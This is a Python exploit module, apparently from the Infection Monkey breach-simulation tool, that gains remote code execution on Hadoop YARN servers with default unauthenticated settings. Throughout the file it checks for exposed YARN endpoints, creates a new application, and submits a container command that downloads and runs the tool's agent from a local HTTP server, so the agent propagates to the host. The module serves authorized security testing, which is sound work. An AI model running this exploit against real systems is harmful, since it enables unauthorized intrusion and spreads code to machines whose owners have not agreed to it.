monkey/monkey/infection_monkey/exploit/hadoop.py

124 lines
4.1 KiB
Python

"""
Remote code execution on HADOOP server with YARN and default settings
Implementation is based on code from
https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn
"""
import json
import posixpath
import string
from random import SystemRandom
import requests
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
from infection_monkey.exploit.tools.helpers import get_monkey_depth
from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.model import (
HADOOP_LINUX_COMMAND,
HADOOP_WINDOWS_COMMAND,
ID_STRING,
MONKEY_ARG,
)
from infection_monkey.utils.commands import build_monkey_commandline
class HadoopExploiter(WebRCE):
_TARGET_OS_TYPE = ["linux", "windows"]
_EXPLOITED_SERVICE = "Hadoop"
HADOOP_PORTS = [("8088", False)]
# How long we have our http server open for downloads in seconds
DOWNLOAD_TIMEOUT = 60
# Random string's length that's used for creating unique app name
RAN_STR_LEN = 6
def __init__(self):
super(HadoopExploiter, self).__init__()
def _exploit_host(self):
# Try to get exploitable url
urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS)
self.add_vulnerable_urls(urls, True)
if not self.vulnerable_urls:
return self.exploit_result
try:
dropper_target_path = self.monkey_target_paths[self.host.os["type"]]
except KeyError:
return self.exploit_result
http_path, http_thread = HTTPTools.create_locked_transfer(
self.host, dropper_target_path, self.agent_repository
)
try:
command = self._build_command(dropper_target_path, http_path)
if self.exploit(self.vulnerable_urls[0], command):
self.add_executed_cmd(command)
self.exploit_result.exploitation_success = True
self.exploit_result.propagation_success = True
finally:
http_thread.join(self.DOWNLOAD_TIMEOUT)
http_thread.stop()
return self.exploit_result
def exploit(self, url, command):
# Get the newly created application id
resp = requests.post(
posixpath.join(url, "ws/v1/cluster/apps/new-application"), timeout=LONG_REQUEST_TIMEOUT
)
resp = json.loads(resp.content)
app_id = resp["application-id"]
# Create a random name for our application in YARN
safe_random = SystemRandom()
rand_name = ID_STRING + "".join(
[safe_random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)]
)
payload = self._build_payload(app_id, rand_name, command)
resp = requests.post(
posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT
)
return resp.status_code == 202
def check_if_exploitable(self, url):
try:
resp = requests.post(
posixpath.join(url, "ws/v1/cluster/apps/new-application"),
timeout=LONG_REQUEST_TIMEOUT,
)
except requests.ConnectionError:
return False
return resp.status_code == 200
def _build_command(self, path, http_path):
# Build command to execute
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
if "linux" in self.host.os["type"]:
base_command = HADOOP_LINUX_COMMAND
else:
base_command = HADOOP_WINDOWS_COMMAND
return base_command % {
"monkey_path": path,
"http_path": http_path,
"monkey_type": MONKEY_ARG,
"parameters": monkey_cmd,
}
@staticmethod
def _build_payload(app_id, name, command):
payload = {
"application-id": app_id,
"application-name": name,
"am-container-spec": {
"commands": {
"command": command,
}
},
"application-type": "YARN",
}
return payload